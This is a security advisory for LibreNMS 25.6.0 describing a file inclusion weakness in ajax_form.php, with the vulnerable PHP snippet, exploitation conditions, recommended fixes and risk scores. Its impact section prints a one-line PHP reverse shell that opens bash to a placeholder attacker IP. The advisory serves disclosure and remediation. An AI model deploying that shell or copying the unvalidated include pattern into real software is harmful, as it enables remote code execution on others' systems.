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GHSA-gq96-8w38-hhj2

HighCVSS 7.5 / 10
Published Jul 21, 2025·Last modified Jul 23, 2025
Affected Components(0)

No affected components available

Description

LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

  • Attacker must be authenticated
  • Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812


Recommended Fix

  • Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
  • Avoid passing raw POST input into include_once.
  • Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.80%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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